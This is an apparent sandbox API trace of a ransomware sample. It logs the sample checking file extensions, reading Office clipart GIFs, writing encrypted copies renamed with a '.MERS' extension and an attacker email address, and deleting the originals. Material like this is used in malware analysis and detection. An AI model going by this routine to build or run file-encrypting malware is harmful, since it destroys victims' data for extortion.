[0262.207] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.207] lstrlenW (lpString=".zip") returned 4 [0262.207] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.207] lstrlenW (lpString=".rar") returned 4 [0262.207] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0262.207] lstrlenW (lpString=".bz2") returned 4 [0262.207] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.207] lstrlenW (lpString=".7z") returned 3 [0262.207] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.207] lstrlenW (lpString=".dbf") returned 4 [0262.207] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.207] lstrlenW (lpString=".1cd") returned 4 [0262.207] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0262.207] lstrlenW (lpString=".jpg") returned 4 [0262.207] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0262.208] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0262.208] lstrlenW (lpString="AG00057_.GIF") returned 12 [0262.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0263.644] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=11891) returned 1 [0263.644] CloseHandle (hObject=0x3b8) returned 1 [0263.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0263.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0263.644] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0263.644] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0263.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0263.644] GetLastError () returned 0x0 [0263.644] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x2e73, lpOverlapped=0x0) returned 1 [0263.784] WriteFile (in: hFile=0x3c0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0263.785] ReadFile (in: hFile=0x3b8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0263.785] WriteFile (in: hFile=0x3c0, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.785] SetEndOfFile (hFile=0x3c0) returned 1 [0264.530] CloseHandle (hObject=0x3c0) returned 1 [0264.842] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0264.842] SetEndOfFile (hFile=0x3b8) returned 1 [0264.861] CloseHandle (hObject=0x3b8) returned 1 [0264.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0264.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.900] lstrlenW (lpString=".doc") returned 4 [0264.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.900] lstrlenW (lpString=".docx") returned 5 [0264.900] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.900] lstrlenW (lpString=".pdf") returned 4 [0264.900] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.900] lstrlenW (lpString=".xls") returned 4 [0264.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.900] lstrlenW (lpString=".xlsx") returned 5 [0264.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.900] lstrlenW (lpString=".ppt") returned 4 [0264.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.900] lstrlenW (lpString=".zip") returned 4 [0264.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.900] lstrlenW (lpString=".rar") returned 4 [0264.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.900] lstrlenW (lpString=".bz2") returned 4 [0264.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.900] lstrlenW (lpString=".7z") returned 3 [0264.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString=".dbf") returned 4 [0264.901] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString=".1cd") returned 4 [0264.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString=".jpg") returned 4 [0264.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString=".doc") returned 4 [0264.901] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.901] lstrlenW (lpString=".docx") returned 5 [0264.901] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.901] lstrlenW (lpString=".pdf") returned 4 [0264.901] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.901] lstrlenW (lpString=".xls") returned 4 [0264.901] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.901] lstrlenW (lpString=".xlsx") returned 5 [0264.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.901] lstrlenW (lpString=".ppt") returned 4 [0264.901] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString=".zip") returned 4 [0264.901] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.901] lstrlenW (lpString=".rar") returned 4 [0264.901] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.901] lstrlenW (lpString=".bz2") returned 4 [0264.901] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.901] lstrlenW (lpString=".7z") returned 3 [0264.901] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.901] lstrlenW (lpString=".dbf") returned 4 [0264.902] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.902] lstrlenW (lpString=".1cd") returned 4 [0264.902] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0264.902] lstrlenW (lpString=".jpg") returned 4 [0264.902] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.902] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0264.902] lstrlenW (lpString="AG00130_.GIF") returned 12 [0264.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.902] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=5253) returned 1 [0264.902] CloseHandle (hObject=0x3b4) returned 1 [0264.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0264.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0264.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.903] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0264.903] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0264.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0264.903] GetLastError () returned 0x0 [0264.903] ReadFile (in: hFile=0x3b4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1485, lpOverlapped=0x0) returned 1 [0265.075] WriteFile (in: hFile=0x398, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1490, lpOverlapped=0x0) returned 1 [0265.076] ReadFile (in: hFile=0x3b4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0265.076] WriteFile (in: hFile=0x398, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.076] SetEndOfFile (hFile=0x398) returned 1 [0265.265] CloseHandle (hObject=0x398) returned 1 [0265.383] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0265.383] SetEndOfFile (hFile=0x3b4) returned 1 [0265.924] CloseHandle (hObject=0x3b4) returned 1 [0265.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0265.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.943] lstrlenW (lpString=".doc") returned 4 [0265.943] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.943] lstrlenW (lpString=".docx") returned 5 [0265.943] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.943] lstrlenW (lpString=".pdf") returned 4 [0265.943] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.943] lstrlenW (lpString=".xls") returned 4 [0265.943] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.943] lstrlenW (lpString=".xlsx") returned 5 [0265.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.943] lstrlenW (lpString=".ppt") returned 4 [0265.943] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.943] lstrlenW (lpString=".zip") returned 4 [0265.943] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.943] lstrlenW (lpString=".rar") returned 4 [0265.943] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.943] lstrlenW (lpString=".bz2") returned 4 [0265.943] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.943] lstrlenW (lpString=".7z") returned 3 [0265.943] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString=".dbf") returned 4 [0265.944] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString=".1cd") returned 4 [0265.944] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString=".jpg") returned 4 [0265.944] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString=".doc") returned 4 [0265.944] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0265.944] lstrlenW (lpString=".docx") returned 5 [0265.944] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0265.944] lstrlenW (lpString=".pdf") returned 4 [0265.944] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0265.944] lstrlenW (lpString=".xls") returned 4 [0265.944] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0265.944] lstrlenW (lpString=".xlsx") returned 5 [0265.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0265.944] lstrlenW (lpString=".ppt") returned 4 [0265.944] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString=".zip") returned 4 [0265.944] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0265.944] lstrlenW (lpString=".rar") returned 4 [0265.944] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0265.944] lstrlenW (lpString=".bz2") returned 4 [0265.944] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0265.944] lstrlenW (lpString=".7z") returned 3 [0265.944] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0265.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.944] lstrlenW (lpString=".dbf") returned 4 [0265.945] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0265.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.945] lstrlenW (lpString=".1cd") returned 4 [0265.945] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0265.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0265.945] lstrlenW (lpString=".jpg") returned 4 [0265.945] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0265.945] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0265.945] lstrlenW (lpString="AG00154_.GIF") returned 12 [0265.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.945] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=5315) returned 1 [0265.945] CloseHandle (hObject=0x3c4) returned 1 [0265.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0265.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0265.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.946] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0265.946] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0265.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.946] GetLastError () returned 0x0 [0265.946] ReadFile (in: hFile=0x3c4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x14c3, lpOverlapped=0x0) returned 1 [0266.037] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0266.038] ReadFile (in: hFile=0x3c4, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0266.038] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.038] SetEndOfFile (hFile=0x360) returned 1 [0266.052] CloseHandle (hObject=0x360) returned 1 [0266.052] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0266.052] SetEndOfFile (hFile=0x3c4) returned 1 [0266.054] CloseHandle (hObject=0x3c4) returned 1 [0266.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0266.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.055] lstrlenW (lpString=".doc") returned 4 [0266.055] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.055] lstrlenW (lpString=".docx") returned 5 [0266.055] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.055] lstrlenW (lpString=".pdf") returned 4 [0266.055] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.055] lstrlenW (lpString=".xls") returned 4 [0266.055] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.055] lstrlenW (lpString=".xlsx") returned 5 [0266.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.055] lstrlenW (lpString=".ppt") returned 4 [0266.055] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.055] lstrlenW (lpString=".zip") returned 4 [0266.055] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.055] lstrlenW (lpString=".rar") returned 4 [0266.055] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.055] lstrlenW (lpString=".bz2") returned 4 [0266.055] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.055] lstrlenW (lpString=".7z") returned 3 [0266.055] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.055] lstrlenW (lpString=".dbf") returned 4 [0266.055] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0266.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.055] lstrlenW (lpString=".1cd") returned 4 [0266.055] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0266.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.055] lstrlenW (lpString=".jpg") returned 4 [0266.055] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0266.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.056] lstrlenW (lpString=".doc") returned 4 [0266.056] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0266.056] lstrlenW (lpString=".docx") returned 5 [0266.056] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0266.056] lstrlenW (lpString=".pdf") returned 4 [0266.056] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0266.056] lstrlenW (lpString=".xls") returned 4 [0266.056] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0266.056] lstrlenW (lpString=".xlsx") returned 5 [0266.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0266.056] lstrlenW (lpString=".ppt") returned 4 [0266.056] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0266.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.056] lstrlenW (lpString=".zip") returned 4 [0266.056] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0266.056] lstrlenW (lpString=".rar") returned 4 [0266.056] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0266.056] lstrlenW (lpString=".bz2") returned 4 [0266.056] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0266.056] lstrlenW (lpString=".7z") returned 3 [0266.056] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0266.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0266.056] lstrlenW (lpString=".dbf") returned 4 [0266.056] 